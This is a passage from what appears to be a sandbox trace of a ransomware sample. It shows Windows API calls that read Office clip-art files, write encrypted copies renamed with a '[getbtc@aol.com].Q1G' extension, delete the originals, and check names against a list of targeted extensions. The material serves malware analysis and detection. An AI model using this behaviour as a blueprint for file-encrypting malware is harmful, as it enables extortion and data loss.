dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0262.053] GetLastError () returned 0x0 [0262.053] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xb544, lpOverlapped=0x0) returned 1 [0262.056] WriteFile (in: hFile=0x1c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xb550, lpOverlapped=0x0) returned 1 [0262.058] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.058] WriteFile (in: hFile=0x1c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.058] SetEndOfFile (hFile=0x1c0) returned 1 [0262.058] CloseHandle (hObject=0x1c0) returned 1 [0262.058] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.058] SetEndOfFile (hFile=0x39c) returned 1 [0262.061] CloseHandle (hObject=0x39c) returned 1 [0262.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf")) returned 1 [0262.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0262.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0262.062] lstrlenW (lpString=".doc") returned 4 [0262.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.062] lstrlenW (lpString=".docx") returned 5 [0262.062] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0262.062] lstrlenW (lpString=".pdf") returned 4 [0262.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.062] lstrlenW (lpString=".xls") returned 4 [0262.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.062] lstrlenW (lpString=".xlsx") returned 5 [0262.062] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0262.062] lstrlenW (lpString=".ppt") returned 4 [0262.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0262.062] lstrlenW (lpString=".zip") returned 4 [0262.062] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.062] lstrlenW (lpString=".rar") returned 4 [0262.062] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.062] lstrlenW (lpString=".bz2") returned 4 [0262.062] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.062] lstrlenW (lpString=".7z") returned 3 [0262.062] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0262.062] lstrlenW (lpString=".dbf") returned 4 [0262.062] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0262.062] lstrlenW (lpString=".1cd") returned 4 [0262.062] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0262.062] lstrlenW (lpString=".jpg") returned 4 [0262.062] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0262.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0262.063] lstrlenW (lpString=".doc") returned 4 [0262.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.063] lstrlenW (lpString=".docx") returned 5 [0262.063] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0262.063] lstrlenW (lpString=".pdf") returned 4 [0262.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.063] lstrlenW (lpString=".xls") returned 4 [0262.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.063] lstrlenW (lpString=".xlsx") returned 5 [0262.063] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0262.063] lstrlenW (lpString=".ppt") returned 4 [0262.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0262.063] lstrlenW (lpString=".zip") returned 4 [0262.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.063] lstrlenW (lpString=".rar") returned 4 [0262.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.063] lstrlenW (lpString=".bz2") returned 4 [0262.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.063] lstrlenW (lpString=".7z") returned 3 [0262.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0262.063] lstrlenW (lpString=".dbf") returned 4 [0262.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0262.063] lstrlenW (lpString=".1cd") returned 4 [0262.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0262.063] lstrlenW (lpString=".jpg") returned 4 [0262.063] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.064] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.064] lstrlenW (lpString="J0150861.WMF") returned 12 [0262.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.064] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=8494) returned 1 [0262.064] CloseHandle (hObject=0x39c) returned 1 [0262.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf")) returned 0x20 [0262.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.065] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.065] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0262.065] GetLastError () returned 0x0 [0262.065] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x212e, lpOverlapped=0x0) returned 1 [0262.362] WriteFile (in: hFile=0x1c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2130, lpOverlapped=0x0) returned 1 [0262.363] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.363] WriteFile (in: hFile=0x1c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.363] SetEndOfFile (hFile=0x1c0) returned 1 [0262.363] CloseHandle (hObject=0x1c0) returned 1 [0262.363] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.363] SetEndOfFile (hFile=0x39c) returned 1 [0262.365] CloseHandle (hObject=0x39c) returned 1 [0262.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf")) returned 1 [0262.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0262.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0262.370] lstrlenW (lpString=".doc") returned 4 [0262.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.370] lstrlenW (lpString=".docx") returned 5 [0262.370] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0262.370] lstrlenW (lpString=".pdf") returned 4 [0262.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.370] lstrlenW (lpString=".xls") returned 4 [0262.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.370] lstrlenW (lpString=".xlsx") returned 5 [0262.370] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0262.370] lstrlenW (lpString=".ppt") returned 4 [0262.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0262.370] lstrlenW (lpString=".zip") returned 4 [0262.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.370] lstrlenW (lpString=".rar") returned 4 [0262.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.370] lstrlenW (lpString=".bz2") returned 4 [0262.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.370] lstrlenW (lpString=".7z") returned 3 [0262.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0262.370] lstrlenW (lpString=".dbf") returned 4 [0262.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0262.370] lstrlenW (lpString=".1cd") returned 4 [0262.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0262.370] lstrlenW (lpString=".jpg") returned 4 [0262.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0262.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0262.371] lstrlenW (lpString=".doc") returned 4 [0262.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.371] lstrlenW (lpString=".docx") returned 5 [0262.371] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0262.371] lstrlenW (lpString=".pdf") returned 4 [0262.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.371] lstrlenW (lpString=".xls") returned 4 [0262.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.371] lstrlenW (lpString=".xlsx") returned 5 [0262.371] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0262.371] lstrlenW (lpString=".ppt") returned 4 [0262.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0262.371] lstrlenW (lpString=".zip") returned 4 [0262.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.371] lstrlenW (lpString=".rar") returned 4 [0262.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.371] lstrlenW (lpString=".bz2") returned 4 [0262.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.371] lstrlenW (lpString=".7z") returned 3 [0262.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0262.371] lstrlenW (lpString=".dbf") returned 4 [0262.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0262.371] lstrlenW (lpString=".1cd") returned 4 [0262.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0262.371] lstrlenW (lpString=".jpg") returned 4 [0262.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.372] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.372] lstrlenW (lpString="J0151061.WMF") returned 12 [0262.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.373] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=6752) returned 1 [0262.373] CloseHandle (hObject=0x39c) returned 1 [0262.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf")) returned 0x20 [0262.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.374] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.374] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0262.375] GetLastError () returned 0x0 [0262.375] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1a60, lpOverlapped=0x0) returned 1 [0262.413] WriteFile (in: hFile=0x1c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1a70, lpOverlapped=0x0) returned 1 [0262.414] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.414] WriteFile (in: hFile=0x1c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.414] SetEndOfFile (hFile=0x1c0) returned 1 [0262.415] CloseHandle (hObject=0x1c0) returned 1 [0262.415] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.415] SetEndOfFile (hFile=0x39c) returned 1 [0262.417] CloseHandle (hObject=0x39c) returned 1 [0262.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.417] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf")) returned 1 [0262.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0262.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0262.418] lstrlenW (lpString=".doc") returned 4 [0262.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.418] lstrlenW (lpString=".docx") returned 5 [0262.418] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0262.418] lstrlenW (lpString=".pdf") returned 4 [0262.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.418] lstrlenW (lpString=".xls") returned 4 [0262.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.418] lstrlenW (lpString=".xlsx") returned 5 [0262.418] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0262.418] lstrlenW (lpString=".ppt") returned 4 [0262.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0262.418] lstrlenW (lpString=".zip") returned 4 [0262.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.418] lstrlenW (lpString=".rar") returned 4 [0262.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.418] lstrlenW (lpString=".bz2") returned 4 [0262.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.418] lstrlenW (lpString=".7z") returned 3 [0262.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0262.418] lstrlenW (lpString=".dbf") returned 4 [0262.418] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0262.418] lstrlenW (lpString=".1cd") returned 4 [0262.418] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0262.418] lstrlenW (lpString=".jpg") returned 4 [0262.418] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0262.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0262.418] lstrlenW (lpString=".doc") returned 4 [0262.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.418] lstrlenW (lpString=".docx") returned 5 [0262.418] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0262.419] lstrlenW (lpString=".pdf") returned 4 [0262.419] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.419] lstrlenW (lpString=".xls") returned 4 [0262.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.419] lstrlenW (lpString=".xlsx") returned 5 [0262.419] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0262.419] lstrlenW (lpString=".ppt") returned 4 [0262.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0262.419] lstrlenW (lpString=".zip") returned 4 [0262.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.419] lstrlenW (lpString=".rar") returned 4 [0262.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.419] lstrlenW (lpString=".bz2") returned 4 [0262.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.419] lstrlenW (lpString=".7z") returned 3 [0262.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0262.419] lstrlenW (lpString=".dbf") returned 4 [0262.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0262.419] lstrlenW (lpString=".1cd") returned 4 [0262.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0262.419] lstrlenW (lpString=".jpg") returned 4 [0262.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.419] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.419] lstrlenW (lpString="J0151063.WMF") returned 12 [0262.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.420] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=10632) returned 1 [0262.420] CloseHandle (hObject=0x39c) returned 1 [0262.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf")) returned 0x20 [0262.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.420] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.421] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0262.421] GetLastError () returned 0x0 [0262.421] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x2988, lpOverlapped=0x0) returned 1 [0262.468] WriteFile (in: hFile=0x1c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2990, lpOverlapped=0x0) returned 1 [0262.469] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, 